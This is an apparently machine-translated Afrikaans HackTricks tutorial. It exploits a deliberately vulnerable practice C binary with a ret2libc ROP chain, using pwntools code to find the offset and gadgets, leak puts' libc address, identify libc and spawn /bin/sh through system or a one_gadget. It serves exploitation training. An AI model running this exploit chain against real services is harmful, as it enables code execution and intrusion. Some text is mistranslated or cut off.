hacktricks/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md
2024-02-11 02:07:06 +00:00

297 lines
13 KiB
Markdown

<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
# Vinnige Resensie
1. **Vind** oorloop **offset**
2. **Vind** `POP_RDI`, `PUTS_PLT` en `MAIN_PLT` gadgets
3. Gebruik vorige gadgets om die geheue-adres van puts of 'n ander libc-funksie te **lek** en die libc-weergawe te **vind** ([aflaai dit](https://libc.blukat.me))
4. Met die biblioteek, **bereken die ROP en misbruik dit**
# Ander tutoriale en binaire om te oefen
Hierdie tutorial gaan die kode/binêre lêer wat in hierdie tutorial voorgestel word, uitbuit: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Nog nuttige tutoriale: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
# Kode
Lêernaam: `vuln.c`
```c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
```
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
# ROP - Leaking LIBC sjabloon
Ek gaan die kode wat hier geleë is gebruik om die uitbuiting te maak.\
Laai die uitbuiting af en plaas dit in dieselfde gids as die kwesbare binêre lêer en gee die nodige data aan die skripsie:
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
# 1- Vind die verskuiwing
Die sjabloon vereis 'n verskuiwing voordat dit voortgaan met die uitbuiting. As daar geen verskuiwing verskaf word nie, sal dit die nodige kode uitvoer om dit te vind (standaard `OFFSET = ""`):
```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Voer** `python template.py` uit, 'n GDB-konsole sal geopen word met die program wat afgekap is. Voer binne daardie **GDB-konsole** `x/wx $rsp` uit om die **bytes** te kry wat die RIP sou oorskryf. Kry uiteindelik die **offset** deur 'n **python**-konsole te gebruik:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../.gitbook/assets/image (140).png>)
Nadat die offset (in hierdie geval 40) gevind is, verander die OFFSET-veranderlike binne die sjabloon met daardie waarde.\
`OFFSET = "A" * 40`
'n Ander manier sou wees om `pattern create 1000` te gebruik -- _uitvoer tot ret_ -- `pattern search $rsp` vanaf GEF.
# 2- Vind Gadgets
Nou moet ons ROP-gadgets binne die binêre lêer vind. Hierdie ROP-gadgets sal nuttig wees om `puts` te roep om die **libc** wat gebruik word, te vind, en later om die **finale aanval** te lanceer.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
Die `PUTS_PLT` word benodig om die **funksie puts** te roep.\
Die `MAIN_PLT` word benodig om die **hooffunksie** weer te roep na een interaksie om die oorloop **weer** te **uitbuit** (oneindige rondes van uitbuiting). **Dit word aan die einde van elke ROP gebruik om die program weer te roep**.\
Die **POP\_RDI** word benodig om 'n **parameter** aan die geroepte funksie oor te dra.
In hierdie stap hoef jy niks uit te voer nie, aangesien pwntools alles sal vind tydens die uitvoering.
# 3- Vind LIBC-biblioteek
Nou is dit tyd om uit te vind watter weergawe van die **libc**-biblioteek gebruik word. Om dit te doen, gaan ons die **adres** in die geheue van die **funksie puts** **lek** en dan gaan ons soek in watter **biblioteekweergawe** die puts-weergawe in daardie adres is.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
Om dit te doen, is die belangrikste lyn van die uitgevoerde kode:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Dit sal 'n paar byte stuur totdat die **RIP** oorskryf kan word: `OFFSET`.\
Dan sal dit die **adres** van die gadget `POP_RDI` stel sodat die volgende adres (`FUNC_GOT`) in die **RDI**-register gestoor sal word. Dit is omdat ons die `PUTS_GOT`-adres as die adres in die geheue van die puts-funksie wil **oproep** en dit deurgee.\
Daarna sal `PUTS_PLT` geroep word (met `PUTS_GOT` binne die **RDI**) sodat puts die inhoud binne `PUTS_GOT` (**die adres van die puts-funksie in die geheue**) sal **lees** en dit sal **afdruk**.\
Uiteindelik word die **hooffunksie weer geroep** sodat ons die oorloop weer kan uitbuit.
Op hierdie manier het ons die puts-funksie **bedrieg** om die **adres** in die **geheue** van die puts-funksie (wat binne die **libc**-biblioteek is) **af te druk**. Nou dat ons daardie adres het, kan ons **soek watter libc-weergawe gebruik word**.
![](<../../../.gitbook/assets/image (141).png>)
Aangesien ons 'n **plaaslike** binêre lêer uitbuit, is dit **nie nodig** om uit te vind watter weergawe van **libc** gebruik word nie (vind net die biblioteek in `/lib/x86_64-linux-gnu/libc.so.6`).\
Maar in die geval van 'n afstandsbediening-uitbuiting sal ek hier verduidelik hoe jy dit kan vind:
## 3.1- Soek na libc-weergawe (1)
Jy kan soek watter biblioteek gebruik word op die webwerf: [https://libc.blukat.me/](https://libc.blukat.me)\
Dit sal jou ook in staat stel om die ontdekte weergawe van **libc** af te laai.
![](<../../../.gitbook/assets/image (142).png>)
## 3.2- Soek na libc-weergawe (2)
Jy kan ook doen:
* `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database`
* `$ ./get`
Dit sal 'n rukkie neem, wees geduldig.\
Hiervoor benodig ons:
* Libc-simbolnaam: `puts`
* Uitgelek libc-adres: `0x7ff629878690`
Ons kan uitvind watter **libc** waarskynlik gebruik word.
```
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
Ons kry 2 ooreenkomste (jy moet die tweede een probeer as die eerste een nie werk nie). Laai die eerste een af:
```
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
Kopieer die libc vanaf `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` na ons werksgids.
## 3.3- Ander funksies om te lek
```python
puts
printf
__libc_start_main
read
gets
```
# 4- Vind gebaseerde libc-adres en uitbuiting
Op hierdie punt moet ons die gebruikte libc-biblioteek ken. Aangesien ons 'n plaaslike binêre lêer uitbuit, sal ek net gebruik maak van: `/lib/x86_64-linux-gnu/libc.so.6`
So, aan die begin van `template.py` verander die **libc** veranderlike na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Stel biblioteekpad in wanneer dit bekend is`
Deur die **pad** na die **libc-biblioteek** te gee, sal die res van die **uitbuiting outomaties bereken** word.
Binne die `get_addr`-funksie sal die **basisadres van libc** bereken word:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
{% hint style="info" %}
Let daarop dat die **finale libc basisadres moet eindig in 00**. As dit nie jou geval is nie, het jy dalk 'n verkeerde biblioteek uitgelek.
{% endhint %}
Dan sal die adres van die funksie `system` en die **adres** van die string _"/bin/sh"_ bereken word vanaf die **basisadres** van **libc** en die **libc-biblioteek** wat gegee is.
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Uiteindelik gaan die /bin/sh uitvoeringsaanval voorberei en gestuur word:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
Laten ons hierdie finale ROP verduidelik.\
Die laaste ROP (`rop1`) eindig deur weer die hooffunksie te roep, dan kan ons weer die oorloop **uitbuit** (daarom is die `OFFSET` hier weer). Dan wil ons `POP_RDI` roep wat wys na die **adres** van _"/bin/sh"_ (`BINSH`) en die **sisteem**-funksie (`SYSTEM`) roep omdat die adres van _"/bin/sh"_ as 'n parameter oorgedra sal word.\
Uiteindelik word die **adres van die exit-funksie** geroep sodat die proses **netjies afsluit** en geen waarskuwing gegenereer word.
**Op hierdie manier sal die uitbuit 'n **_**/bin/sh**_**-skulp uitvoer.**
![](<../../../.gitbook/assets/image (143).png>)
# 4(2)- Gebruik ONE\_GADGET
Jy kan ook [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) gebruik om 'n skulp te verkry in plaas van **sisteem** en **"/bin/sh"** te gebruik. **ONE\_GADGET** sal binne die libc-biblioteek 'n manier vind om 'n skulp te verkry deur net een **ROP-adres** te gebruik.\
Gewoonlik is daar egter beperkings, die mees algemene en maklikste om te vermy is soos `[rsp+0x30] == NULL`. Aangesien jy die waardes binne die **RSP** beheer, hoef jy net nog 'n paar NULL-waardes te stuur sodat die beperking vermy word.
![](<../../../.gitbook/assets/image (615).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
# HACKERINGSLEËR
Jy kan 'n sjabloon vind om hierdie kwesbaarheid uit te buit hier:
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
# Algemene probleme
## MAIN\_PLT = elf.symbols\['main'] nie gevind nie
As die "main" simbool nie bestaan nie. Dan kan jy net kyk waar die hoofkode is:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
en stel die adres handmatig in:
```python
MAIN_PLT = 0x401080
```
## Puts nie gevind nie
As die binêre lêer nie Puts gebruik nie, moet jy nagaan of dit gebruik maak van
## `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie`
As jy hierdie **fout** vind nadat jy **alle** die aanvalle geskep het: `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie`
Probeer om **64 byte van die adres van "/bin/sh" af te trek**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
</details>